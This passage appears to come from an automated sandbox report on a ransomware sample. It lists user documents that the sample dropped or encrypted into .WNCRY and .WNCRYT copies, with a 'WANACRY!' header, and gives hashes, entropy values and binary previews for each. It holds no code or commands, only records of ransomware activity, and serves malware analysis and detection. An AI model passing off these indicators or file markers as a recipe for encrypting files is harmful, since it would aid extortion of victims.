                                      C:\Users\user\Documents\QCFWYSKMHA.png

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1026
                                      Entropy (8bit):7.773682276235284
                                      Encrypted:false
                                      SSDEEP:24:V6gYADq6dVxWOmvXAdJE2sRkIGvgp3/d/ycZd6X+5Us1:CADqixWxQHlHI93/1ycZ391
                                      MD5:2A8E9C347E5A51ED504CF13A9773EF42
                                      SHA1:C172394FA5B2ADE180184228FC984F5475CC8D01
                                      SHA-256:8261FABAE6939FAF1C258F0792F1F301B0CBF9A2FE267F58309E46132B49DD0C
                                      SHA-512:56B3401E0113AF2D36A973159E918AB96EAF248204492FBEC3871C0AD5A70D1DFDF074AA642D7168ADF1648DDF62B572642CDBC239883DA218421BCF6F03F991
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:R....w....?c..=.C]./.,....@..v....}....RGU.K...S.r.ER..9..=.......a"......w.`.M-...%'.N7.........Y...=......f...a...X....,...S.b.....Y$..{... [...;\../T..[).q.;..Z.b|F.1...;...+.0.7,.'...s7.Q-..6.{....u.'0,R.b.........pk:.i..6...y...%..V.......Z....D+d......!?.(.....<M.....2.neZ{_..=dP..$.6.Fdp|.v'.F.w.y..-<C.'H!o....V..w.$_...&....,g...|Q..y..e/.o.<{.Q.!.y.w.&y..z..........p"...!.......U...R......2U..P?\....._...:..#.......k...(l.=o.%..?<...&......d....+tN...3..@..z.$.......,..,e......J.z..a..$..H.Lt.j+.._.....%...pz..Q>...H.;a..%.6.(u.......%..V.q..hX"j.;o..cq..;$!....$<?E2.l..[.W .....b.m...p........f8..C..........}.\....u.L.E."......tz....a..N....[./.j.s...*......k..Z]9"P.gC.N.x.P.)a=&......2.S....j.n'.C&&...j-....1.z..=%v/.?.u.w.ggC.K:Qn.s.wyqEF{]....n.}.....x.../m:Nj?..;u|...}w7.$d D..fQ..W..({....D...f......e]......|.N..K.GS@.-..)^\...v._....t9C.V..|......a....i@p.....R.-&.s..i.4.y.....j._f..:w._.=...1...A.Qpn.PP.n...[BX...

                                      C:\Users\user\Documents\QCFWYSKMHA.png.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.840955795914907
                                      Encrypted:false
                                      SSDEEP:24:bkXrDc+6AAOMcDngQDA3wdY2EOj1isQC3o9UBV6WF71yKxkG7xDzkyTiTE:bkXrDcZA8QK3gY01isQCYb4NxZxDw6iw
                                      MD5:44B717D73C937F1DCE49B0DD602A2DA9
                                      SHA1:BDDCE24694882B43722BC3F6C574AAA8D7CB6114
                                      SHA-256:8750804F6F6759D5855B5B06C1C7081502EEAB2CED718E9B42BAF48D387DE333
                                      SHA-512:E3C1077A9AE4203260DA1398F8C8D83D8B146AEC328471119896C8CA9232231A1BB83628A0B5C60CB039FB55EE549A5DCE12FB03808C601E9C6EA1BF71814DC3
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!.....7......u.h.......0.\o}..R..A8..\..6..+...-...P2.......>.u....Qq.<.AM...r>.... K...0!..51(......E>...G.........a.7O...h&..T.....q^...x0..<..N...2.f..:..B./S9.7Y..y9..exm....BR.I...]...W.S..P..M.....Qr..1@.E.."[.......V...$.....%6.&.8..}..?.a............(...uJ.G....6NJJ.meNI7.{...P#q..h)...0..-`...s.......a9n+.A...G...~N#..6.=hA.l6$V...U..Z........rp.mH.d.g.....;......1..z.N}.K-9.NkG.e...0?x....2I........an.7..Y...`v.@..j`.o.2.7..I..*.l....Q..].J.37+..h..W.pB...s..c......DMc..1.k....).j.^@..*^hM.sH...t..e.V.....xG.Z..e.h.4.zr..f*/.;..+.U;....-...]d....Gr.hR~.~*Tz.i...5..s.i2..]... O.*..}..I..6PE......%.r.FT..M..N4(..=..`......N.S......8.B.f(6.'..F.....?..".D....V./...\....o.@.0....J.u...XoQ.KHP......@.,..mqh...n...tcP.i{.XU..Uv..5.....p^P$.E..t/..jM.....3.u......@.m5......oI.r.>&(....B.....l..$....byf...t...Jn.e.q3..B.dN.6....K.GD.c.....y..j1..........S.Vr...~.Ho.=|.Qo.6n.-..\.%g...j...gk.5..LQx...=jZ.Px.@.R^.X.l.

                                      C:\Users\user\Documents\QCFWYSKMHA.png.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.840955795914907
                                      Encrypted:false
                                      SSDEEP:24:bkXrDc+6AAOMcDngQDA3wdY2EOj1isQC3o9UBV6WF71yKxkG7xDzkyTiTE:bkXrDcZA8QK3gY01isQCYb4NxZxDw6iw
                                      MD5:44B717D73C937F1DCE49B0DD602A2DA9
                                      SHA1:BDDCE24694882B43722BC3F6C574AAA8D7CB6114
                                      SHA-256:8750804F6F6759D5855B5B06C1C7081502EEAB2CED718E9B42BAF48D387DE333
                                      SHA-512:E3C1077A9AE4203260DA1398F8C8D83D8B146AEC328471119896C8CA9232231A1BB83628A0B5C60CB039FB55EE549A5DCE12FB03808C601E9C6EA1BF71814DC3
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!.....7......u.h.......0.\o}..R..A8..\..6..+...-...P2.......>.u....Qq.<.AM...r>.... K...0!..51(......E>...G.........a.7O...h&..T.....q^...x0..<..N...2.f..:..B./S9.7Y..y9..exm....BR.I...]...W.S..P..M.....Qr..1@.E.."[.......V...$.....%6.&.8..}..?.a............(...uJ.G....6NJJ.meNI7.{...P#q..h)...0..-`...s.......a9n+.A...G...~N#..6.=hA.l6$V...U..Z........rp.mH.d.g.....;......1..z.N}.K-9.NkG.e...0?x....2I........an.7..Y...`v.@..j`.o.2.7..I..*.l....Q..].J.37+..h..W.pB...s..c......DMc..1.k....).j.^@..*^hM.sH...t..e.V.....xG.Z..e.h.4.zr..f*/.;..+.U;....-...]d....Gr.hR~.~*Tz.i...5..s.i2..]... O.*..}..I..6PE......%.r.FT..M..N4(..=..`......N.S......8.B.f(6.'..F.....?..".D....V./...\....o.@.0....J.u...XoQ.KHP......@.,..mqh...n...tcP.i{.XU..Uv..5.....p^P$.E..t/..jM.....3.u......@.m5......oI.r.>&(....B.....l..$....byf...t...Jn.e.q3..B.dN.6....K.GD.c.....y..j1..........S.Vr...~.Ho.=|.Qo.6n.-..\.%g...j...gk.5..LQx...=jZ.Px.@.R^.X.l.

                                      C:\Users\user\Documents\SFPUSAFIOL.jpg

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1026
                                      Entropy (8bit):7.838610182498433
                                      Encrypted:false
                                      SSDEEP:24:1mBPUyths/lwbZTEgW7ovMcLdVt4xjx8zeJRa/YQ0a+GK:148ybXNY0FQtx8zWaB2
                                      MD5:406B0081AD8150782C9BA47E52D6DD0A
                                      SHA1:1427C4AC2A5838CEAC21FD640EF8098214517798
                                      SHA-256:309EA0257A8C4AFE76E4F2DB92D32D7AFDCB9239CCB485B2F914E0F0FC1B584A
                                      SHA-512:300A0BAC603C9DA9EF92F96DE4EA018F112FB65C33C61790F486CC67CFF0A59D3CE138E701E3018175AFA1E126A68AF5463F71514E7D42B8BDDD517E2E2E8823
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:..3.Jm.-U.......L....,..t..wr.....R;U.e+...bz......zmO.f..|....wgq.....k.b..&....l.1.z=..c3zv...;.8e.".....O...,..e....N#".g...K ....*V.a...C....=..K....Ny..6&.:.......3.7..^"..=....P...>.3].Y.k.o..A....q...K..w.^4#...9.........IA....o.BE..!c...UT..I........`H.O..\.OXn...T7..a...$'.B..a...r..t.t..0..b....(.Q.R...q.w4/....x....F4(9[II.Z.7Rs....jnu,#.$[...2.?....Z.......MA..0.K..].t.i..G...:*.w...~....a/.........D..5."..nN.p...V..yF.P{..x...k..=..8E..,.P9r%A.G...l...Q...$`x..8.....".... V>.QI...,..f\U.k..}.m.l...v,..m..O$.}t%...h....;..b+5..;.LE.P.....Fc.....K..%K...o.)4+...VOK.........y~....h..i.....<.-7.X......8...af.....7@...~....5."..'..'2..5...%}.\/...l....3.Vb.-[H........^%*....NFtR...M".T^.b....yh.)..".ggL.......R........2;.$....<rU.`...,.`um7S3....(.g.u..<..~.Q...v... 8r..!`*....$P.......1.....4...P...D.tVC........`.@..;/...g:h.j.).(R.wb.)D..k.]...ac....0.;.p?.5 l..W.....3....Y..\....{.7.+.H....)U..yJ.iid.w`hdr....R...

                                      C:\Users\user\Documents\SFPUSAFIOL.jpg.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.8456681432456
                                      Encrypted:false
                                      SSDEEP:24:bkibS0UIvIbeZsrrNd5Bfg0JYH9gKyzTDscj6LY+koBCzE9PpaPub+8:bki1me6Nd73Ydfa/so6hkoBW6ah8
                                      MD5:6BE92246E6E89CBC8100D4D7A70D5977
                                      SHA1:F243034DB4477D0C279A0795EA67D2359CEF5B05
                                      SHA-256:DF8560EDCAA9D449020C29F4629A1FAC8243BD958DDA55EB86D136670263E8C7
                                      SHA-512:9CAE91C56CDE2758E53BE8B8DA6134167D6398191421DFDDE78592D72E1D392BDADB711D51916A3578974600F0391E9E9AF7529371B1B5BB21944E70E16DF10E
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!....?..i....S5.=.z...d.p.....?.:..i.U..i../.1.......0:d..7......4.F.o....7".....1.|....l.F.j&-~R.w.*..Q..9. z.M]".V.q.......W =.]h...<^...Z.uj.~.........W.avP..t...1...R.....S.:..)....d ..S..V.l.J.l6.T.hS..\...9y.Z...)...&.}bv..f...0....o..o..U..0.............].b..|1].P.*..T..Ak.W....z...o...?0.QI.....k....Wm.?rz%X.G."q....F..b.5^.....b.Z)5w...UW...").8.o...?......p..4....H0....:B.8.K3....u=BD.F.....$...w..t..Q..2........R..u=.lz*..a.,....[.)-".lXss.&.c.;._.?Y...G..Zy./.r,;....F..!lP.}..x.kQ.R.W.\.'.t.......7.Q.......F@.ZB......oh..f3.[Wv......D_F..Ag.0.,f.m..%C..MIT3p........6;X`.....Bu....Y.-..e...'.Q+8.V......iA....|L4.6;.....J.:..1..Ri.c....G2"H....[Z.nue-...3.CMe".....n.+g.Yg....wi.d......y...6.`3.Ij..$._...}...@.}*.f..E.P..........F..@.F..&A.p.v......c...C..V.._".....H..{..?..n..b.a.[A}....X...J...!..m..6..........V..a.....R...6..| .!gq.$.Xj4..i.U;+<....]..M.No...Yk..t.....|.B...5qhG..P.....,..........-..L@'..UAp..

                                      C:\Users\user\Documents\SFPUSAFIOL.jpg.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.8456681432456
                                      Encrypted:false
                                      SSDEEP:24:bkibS0UIvIbeZsrrNd5Bfg0JYH9gKyzTDscj6LY+koBCzE9PpaPub+8:bki1me6Nd73Ydfa/so6hkoBW6ah8
                                      MD5:6BE92246E6E89CBC8100D4D7A70D5977
                                      SHA1:F243034DB4477D0C279A0795EA67D2359CEF5B05
                                      SHA-256:DF8560EDCAA9D449020C29F4629A1FAC8243BD958DDA55EB86D136670263E8C7
                                      SHA-512:9CAE91C56CDE2758E53BE8B8DA6134167D6398191421DFDDE78592D72E1D392BDADB711D51916A3578974600F0391E9E9AF7529371B1B5BB21944E70E16DF10E
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!....?..i....S5.=.z...d.p.....?.:..i.U..i../.1.......0:d..7......4.F.o....7".....1.|....l.F.j&-~R.w.*..Q..9. z.M]".V.q.......W =.]h...<^...Z.uj.~.........W.avP..t...1...R.....S.:..)....d ..S..V.l.J.l6.T.hS..\...9y.Z...)...&.}bv..f...0....o..o..U..0.............].b..|1].P.*..T..Ak.W....z...o...?0.QI.....k....Wm.?rz%X.G."q....F..b.5^.....b.Z)5w...UW...").8.o...?......p..4....H0....:B.8.K3....u=BD.F.....$...w..t..Q..2........R..u=.lz*..a.,....[.)-".lXss.&.c.;._.?Y...G..Zy./.r,;....F..!lP.}..x.kQ.R.W.\.'.t.......7.Q.......F@.ZB......oh..f3.[Wv......D_F..Ag.0.,f.m..%C..MIT3p........6;X`.....Bu....Y.-..e...'.Q+8.V......iA....|L4.6;.....J.:..1..Ri.c....G2"H....[Z.nue-...3.CMe".....n.+g.Yg....wi.d......y...6.`3.Ij..$._...}...@.}*.f..E.P..........F..@.F..&A.p.v......c...C..V.._".....H..{..?..n..b.a.[A}....X...J...!..m..6..........V..a.....R...6..| .!gq.$.Xj4..i.U;+<....]..M.No...Yk..t.....|.B...5qhG..P.....,..........-..L@'..UAp..

                                      C:\Users\user\Documents\SFPUSAFIOL.xlsx

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1026
                                      Entropy (8bit):7.790438797938168
                                      Encrypted:false
                                      SSDEEP:24:6mBPw9UbFQM5R0WurhbXBHOzvRrUCCYHxtFzgsgh9hb6JI/5:XBY9UbmbrR1ODRB9j+ki/5
                                      MD5:9898D24E4943B6573D3B6C9B01609479
                                      SHA1:DA40DC99C34E9B762A857BE286BE33E8BE8E6B7C
                                      SHA-256:F42EF95BC2A0BD81B98EA31097646E41E25A83A6762BFFB9C184C9C7CE9801E2
                                      SHA-512:9F76404730870C9EB5352E3BF235EC3AE405A7DE196E2F286096A6C23B65AE8F6816E9C23C00809763EB260FC87DA849F66F626D02985EAE7E5E790C9ECB407E
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:^~..n..d...r....c..<.L.o........8..g.Ty.......{LcFd.-`.ge.u.....`.0Qn.XIg..[)..O....k.z.?.c6..U..6.t...F..'P8......S....x.H..$j.+.&.[/Ic...9O_y..-...XU......K..6........d.f...=A...693......V=.5K.....8..>..bx.q>OM^.H./.e....K8.o{........kL.*v...AZ.N\. f+T...6.{.....Ry.U..........kYu...!..&...G.....IR.......]_6...*)....].....:H{............`r/)../zrr./w.5r.....W..?..........?.Lk.^..CX..RP....^...>...p-2...\...J5e=.|.`,K Y....m.1...(..J....z..@S.k..w...@....<....^J6......Y_S...$.....[...G._....`......m{|.._.Is=...76.f.T..5..D.f.....&J:..L*.Sx...)...).9..v....r..1k2.......Y....Gy33..#..@..u,.k+.mp..X<.<.....i...R...Q...*4.D.~._..6........:.]....mi..M.........I......*.*....M*.+eJ..;[....!G]..4.l.....3GfvP.J.G.St..xn..J.....{ ...}]..<M......K:.1Z..q>...p.u........1.\ ..-..Z..`Ob_s.x...ar...Q.Z....O~j5...i...}A.>.we.~.G..[;6.(.<...d.I..Fv.D..x....%..._,..T....Cb..9S...k7%.([.+....{%..B...HBx>.........I0.m..M...{..<..Z.....W 2.O.^.2..f6.-...r|%H..d..

                                      C:\Users\user\Documents\SFPUSAFIOL.xlsx.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.838819309918125
                                      Encrypted:false
                                      SSDEEP:24:bkIkwIFROBOtyaMLgUjcBrypvNCNxRyX/UkGI6aoPFjGvYFvSptth:bkGgUBikLgUoBrypVOxRyX/UkMeYYzh
                                      MD5:3D4BE5EBFCBC2F7256B57EF4241AA1BA
                                      SHA1:CB4E4522361B33DBA077996B3D0D749C7178EFD6
                                      SHA-256:3FFD56765646365DEFDDDFBA2AF5D6F7DFD19CBE8DD3DE152FD63F8C45D959C9
                                      SHA-512:F0218DDD7A2AD4A6A3B7CAA7A2BDBFBF691B3BB5FEED3CCF9B60F1DB55BE1326EC336E2D86688B01FB691F6F1D00CB9082C6FE83577F809934EC5619A4A1ECCB
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!....O.f.....gC=...."D.....X..>...5.k<.P.(7~sZ....1D.$..(Ud..<.C..<.!...Vy.....Q..>...4|..b."FZ....q..h.I..E.g........$F._..<.>.m....u..e...E...a...[w14.....--;.]..p.',4...<>.`g.T..5.<.7..Qh...>..A3.8.k-...x`.".R.g*~|.....O0x...4`.}...cg:F...LEl......................$*B....+6..*.L.t.LD.^=].=..|...~2.k...:..b.. ..#'c...%j$&Zq....?.[A./.C.I......{.iwy.w.tb.].H..O.X.!.M.O....+..|h..?...t.....5.4.0q....%..!....e..ERD.*.......H....0)#R......|...4.x.~..b.:.R....;~.3.#..=..ZR....._.....6.w.(....9S......rk.$...@n......q.cl...X...P.z..v.*..^.S..e^...f.!...h....w:Y..T...cx. ..1v0_.+R....gk%......*..h.......4..n.'..... BH...i..1.../...(.|..L.J..DB..{...2..)0.b.g.....8..;......a..#../..uy..p+.......,....K..[.86..=........H..7J..O..ae.....i.....__y..L,...m<...q....\w..j....}.4<...#...._...!w..>..._.W...].n+..?.D.ZZ..^.......j....>.4h...fz."j....O...^0.9o..J"M.D...i\V.j....B%.JRHP..YY...}....Q...75.:gb)p..p.u:..5k*........q.+..NB.A..Z<

                                      C:\Users\user\Documents\SFPUSAFIOL.xlsx.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.838819309918125
                                      Encrypted:false
                                      SSDEEP:24:bkIkwIFROBOtyaMLgUjcBrypvNCNxRyX/UkGI6aoPFjGvYFvSptth:bkGgUBikLgUoBrypVOxRyX/UkMeYYzh
                                      MD5:3D4BE5EBFCBC2F7256B57EF4241AA1BA
                                      SHA1:CB4E4522361B33DBA077996B3D0D749C7178EFD6
                                      SHA-256:3FFD56765646365DEFDDDFBA2AF5D6F7DFD19CBE8DD3DE152FD63F8C45D959C9
                                      SHA-512:F0218DDD7A2AD4A6A3B7CAA7A2BDBFBF691B3BB5FEED3CCF9B60F1DB55BE1326EC336E2D86688B01FB691F6F1D00CB9082C6FE83577F809934EC5619A4A1ECCB
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!....O.f.....gC=...."D.....X..>...5.k<.P.(7~sZ....1D.$..(Ud..<.C..<.!...Vy.....Q..>...4|..b."FZ....q..h.I..E.g........$F._..<.>.m....u..e...E...a...[w14.....--;.]..p.',4...<>.`g.T..5.<.7..Qh...>..A3.8.k-...x`.".R.g*~|.....O0x...4`.}...cg:F...LEl......................$*B....+6..*.L.t.LD.^=].=..|...~2.k...:..b.. ..#'c...%j$&Zq....?.[A./.C.I......{.iwy.w.tb.].H..O.X.!.M.O....+..|h..?...t.....5.4.0q....%..!....e..ERD.*.......H....0)#R......|...4.x.~..b.:.R....;~.3.#..=..ZR....._.....6.w.(....9S......rk.$...@n......q.cl...X...P.z..v.*..^.S..e^...f.!...h....w:Y..T...cx. ..1v0_.+R....gk%......*..h.......4..n.'..... BH...i..1.../...(.|..L.J..DB..{...2..)0.b.g.....8..;......a..#../..uy..p+.......,....K..[.86..=........H..7J..O..ae.....i.....__y..L,...m<...q....\w..j....}.4<...#...._...!w..>..._.W...].n+..?.D.ZZ..^.......j....>.4h...fz."j....O...^0.9o..J"M.D...i\V.j....B%.JRHP..YY...}....Q...75.:gb)p..p.u:..5k*........q.+..NB.A..Z<

                                      C:\Users\user\Documents\SQRKHNBNYN.png

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1026
                                      Entropy (8bit):7.833059474372981
                                      Encrypted:false
                                      SSDEEP:24:ueqx0hiEWoeVrnW4pX5AO6oaOyCrTFDdlDH9C4:GxaOoeVrn5pWOGYrJw4
                                      MD5:319B20502D5B25CB8C4F897AE7F756F5
                                      SHA1:87F6872FC4D38A2566E0FB06D0B3DC35B86191B7
                                      SHA-256:70DA43CA5EF60B3BFCBF5CA2B606F8A88F6B4D849809EA31B52FE981927DCA56
                                      SHA-512:86A74054DE3FBBB41343D740C659EC377A51E983466975A89A9DB76863176875CA5365A3B67FA5A7F1CEA626823A53F41C8F370FD4F9AD787D582E33F976BFA7
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:^Q&.....<.7.1..Yd...N.%Z.3.\.y.Z.c..T..p.s .....Ce. .fu{X3.........X.:/V........4..`....^....FWTM.M7...AJ.`..N...r.*_..9=$%..Q...i..yr...>..n..`c...a(V..V.........y..t'|..G[..I....J/.}...Q......>S..*1.J{P.x.m[.;<..t.....4CT.\.....`..+....b..*.'K...ng..V......b.C.Z.!....r.V...[a...4.....kz..;2..!.H.2L...x.(g...zx...)...Knf"z.&..=B.....R.....dz..+...2$..Jy.._...a....Y./....k........J...K....[.i.......C$H.!5.1........x..V.C*.0..i.x.Z.Sp..n.....b.Q..T..A..lw.v.3..*..}..MCpp../F1..&(i\..d../..4..6".h.6uH$..P.._e....F=...8m.%"..l..i3...Sl..f.I.3}.y..v+#.h....:..+..m....%^....~R9D.J..S....ggq.?.P.~g..y.4.l.....B3qyJ..[.E.x.,.V.iE..F.....O.x.A..R.F.<:Bd....0.?T.&~.7.%...d..0h..Y..../w..D.Y.C..+...o....M..P...@-..K'w3..w..o....]....&i.uE..u.@.zzH...L....>.c..HHXed.n..o_q..A!.TL..)G.~..>b.V`.H=...(^5P).%...z].u3?..i<-.......=..h.kz..(Z.r_M.'..Rx.Vx.;..s...o.<......7..S)..'EkA..O.+..(...Ca#Wdz...8...?.cE..O...0....@.yt_..,.....w..-.K%......s.

                                      C:\Users\user\Documents\SQRKHNBNYN.png.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.817217210499586
                                      Encrypted:false
                                      SSDEEP:24:bk/V7uAa9PSXZf/KYFfAzveH92ua+mYKyJVwwuQC64PbGguK7hGzD3z3UgNxJGxz:bk/V7uuYYFSWHK5yJVwwuQR46/weZbGd
                                      MD5:847F5308111EB1D6EA55E010630AAB98
                                      SHA1:E0FCBFFCE0BC7E82A571A43D47BAD85B50315EB0
                                      SHA-256:E238D7723B2AE327D8C75843CAEE93C1C4A44C278351ABF4ECEECF51DA2E4CE3
                                      SHA-512:B50C9D32BA95C651EA9B396CB8A6AC4A803DE99499878C7F465865F47886F578494C3F577DC4A0C6BA32D84E3F38FC26C7BD8DB277957184B113B92AB6B96A90
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!......=..B.gF..!.&`|.....i.0x:..G5.K..........e..}...~~zI.6fW..qf^..*...../W?(.....*.L.eD;.C..~e.K+Z....'...V...UN.....7F.'l..'0s.$(.E..[E@*.v.`.$..b..*Q..T..p.jI.....| ...'...j..#%.ZFLg...=..vP.........s...j.5.p.c...h...z&....L...B......OW../R..}.W...................,..wqq.b.v.i.=..0\...?...2.Y#..A%...l....te .k.....5....$y..r.e......3.D).e+.s.}....'x....j)..l..mU.p!....Iaf.j..\....>.=b..q.A.Xo.Pu....MT..UBf.&...:@E...@.I.u)....F-....Y.*...H.V.+..r.~.Gw.7P......\?;5UPEMWKjv.0..(./W.l..s..}9.H.....wA...3bn57......I.,.A...."a...L<.y...@.q...."....f...M..r.4...!D..X~... Y....z.i?...l`I.@/.nR..?........Hq.H..f.7a...sQ.T.!.V7F.ut.;..W..F..v...ED...e.<..J0Mr.1.Ygb.}.....iH.~..^..iGFzm.x.V...c..vy.8.....h:0s=.n.f(..D.....K.).BQe.y.t..m..[.YE.R..Qr.q...H>..E.|).@9.,..~..H7%*GU.{'...RR7.F/...X...."....sE.>$.O.?C...x"..>...)..9?A..a....~.....o..."[....<....W.....l...+t.n..;.}..p....!P..!&..i(.7.O.Z......}..c.&xn.`..&.._.....<Su"..W..zL.aq.w.....

                                      C:\Users\user\Documents\SQRKHNBNYN.png.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.817217210499586
                                      Encrypted:false
                                      SSDEEP:24:bk/V7uAa9PSXZf/KYFfAzveH92ua+mYKyJVwwuQC64PbGguK7hGzD3z3UgNxJGxz:bk/V7uuYYFSWHK5yJVwwuQR46/weZbGd
                                      MD5:847F5308111EB1D6EA55E010630AAB98
                                      SHA1:E0FCBFFCE0BC7E82A571A43D47BAD85B50315EB0
                                      SHA-256:E238D7723B2AE327D8C75843CAEE93C1C4A44C278351ABF4ECEECF51DA2E4CE3
                                      SHA-512:B50C9D32BA95C651EA9B396CB8A6AC4A803DE99499878C7F465865F47886F578494C3F577DC4A0C6BA32D84E3F38FC26C7BD8DB277957184B113B92AB6B96A90
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!......=..B.gF..!.&`|.....i.0x:..G5.K..........e..}...~~zI.6fW..qf^..*...../W?(.....*.L.eD;.C..~e.K+Z....'...V...UN.....7F.'l..'0s.$(.E..[E@*.v.`.$..b..*Q..T..p.jI.....| ...'...j..#%.ZFLg...=..vP.........s...j.5.p.c...h...z&....L...B......OW../R..}.W...................,..wqq.b.v.i.=..0\...?...2.Y#..A%...l....te .k.....5....$y..r.e......3.D).e+.s.}....'x....j)..l..mU.p!....Iaf.j..\....>.=b..q.A.Xo.Pu....MT..UBf.&...:@E...@.I.u)....F-....Y.*...H.V.+..r.~.Gw.7P......\?;5UPEMWKjv.0..(./W.l..s..}9.H.....wA...3bn57......I.,.A...."a...L<.y...@.q...."....f...M..r.4...!D..X~... Y....z.i?...l`I.@/.nR..?........Hq.H..f.7a...sQ.T.!.V7F.ut.;..W..F..v...ED...e.<..J0Mr.1.Ygb.}.....iH.~..^..iGFzm.x.V...c..vy.8.....h:0s=.n.f(..D.....K.).BQe.y.t..m..[.YE.R..Qr.q...H>..E.|).@9.,..~..H7%*GU.{'...RR7.F/...X...."....sE.>$.O.?C...x"..>...)..9?A..a....~.....o..."[....<....W.....l...+t.n..;.}..p....!P..!&..i(.7.O.Z......}..c.&xn.`..&.._.....<Su"..W..zL.aq.w.....

                                      C:\Users\user\Documents\SQSJKEBWDT.png

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1026
                                      Entropy (8bit):7.798332017547622
                                      Encrypted:false
                                      SSDEEP:24:86eh558GYTajwYs6LjAlGl+zfz6LN/OSaAfIqu:8L5bCajlsmd+z2LN/NaAY
                                      MD5:EF1627A5A42C14F7D96297D1569FC3A4
                                      SHA1:22BD785CBDDAA9BB816172A6E03E22C159F7B1FD
                                      SHA-256:22C500BA2FC2FC6A606BC74029327E6559A4B90500E4ECFFE7B5C496CEB71ABD
                                      SHA-512:E6356BFF9634A41C5931FEBB172852E592F2DECDCDEBD3CED991A6F867F199EFB444789035D6B5940A5457103C8F4D747566E84FE24B9078909BB6B5299B9001
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:..g._.H..eV6...X...w....x..j..+.1U..9.D,i.w..5....i..^.r;.).g`..>-.U...\....^..B..k;..4..^`!...TkGn.uL.4{U..3!...m.6..)L......j'.'7.g..L.U...B...<...\.k.I.....o.!..n....t.A.}.b..pn.w...Y|..m....HU.....k....0z.........+.?.. .cqI..B=x5.>...T..o.Pkq8P...f.M..e..<.n..6D.."B.7...6.?q.|P..8...S~.....<.|%-........g @0G.J.Zu=......f.N.+:.+.4.:x6.E.Av...AR..:p.=. [_@e-...h=~.~.B.=....Y......E.?Q4.8".g......1.b.+......A \%.=w/..t...Dx...!t[f..Zu.X.i...B...gO..|v...>.Ip-S.p.6....^.v.(~..!y*(....Mf....[5h.lR.B...|...}..}.D.A.m....#........B.J...e...#d0.3I.Ai..C..u..~!.....\...7...`....]..#bat.I..nq..a....q.h.'....?=i:......)..V..k.w....].4.c.E..s.d.4..[....W.../l..........3..S...zo.kd......R...,.rO3..g.....oE...]n.i........_.e.E..T/.......<...^.6.q..`..{><p{......o...Q..BFl.d.J...M;5h..3..%e.&..zD.$.......{..I.)3@0`...*.L P.<6.6..J`~........R/l....o........n...j"....(.Q.F..d.|..P8...-r..q..i.....q.....k.~.....6.p...Q..U.-...y........p>...~%.....u.

                                      C:\Users\user\Documents\SQSJKEBWDT.png.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.861493239832279
                                      Encrypted:false
                                      SSDEEP:24:bkQtnlBp0TgrxqZKB/6Parm3mtGWuhNIh9V1kAf3lfte/yhlOf1jxy:bkQhlB7x1lYarmmtJYNIvV2AfV1e/cKG
                                      MD5:EC84C3B0A5AD8AD7B07014F6817C340F
                                      SHA1:FC80FCDB7DA86278A4FCAC828252A0A205645E62
                                      SHA-256:508E0A06BD9E67BA716933A3CC95E918955B85DD2F826878F6A53F6C9373488E
                                      SHA-512:10DEDAD2630C2C0D19C916F3D433605E2F724813DD030E7AAED534155AC665B068E1AF5732B2E2E34583A1D41409283C615128E6901A995A0C36E3B244EEFFB9
                                      Malicious:false
                                      Reputation:unknown
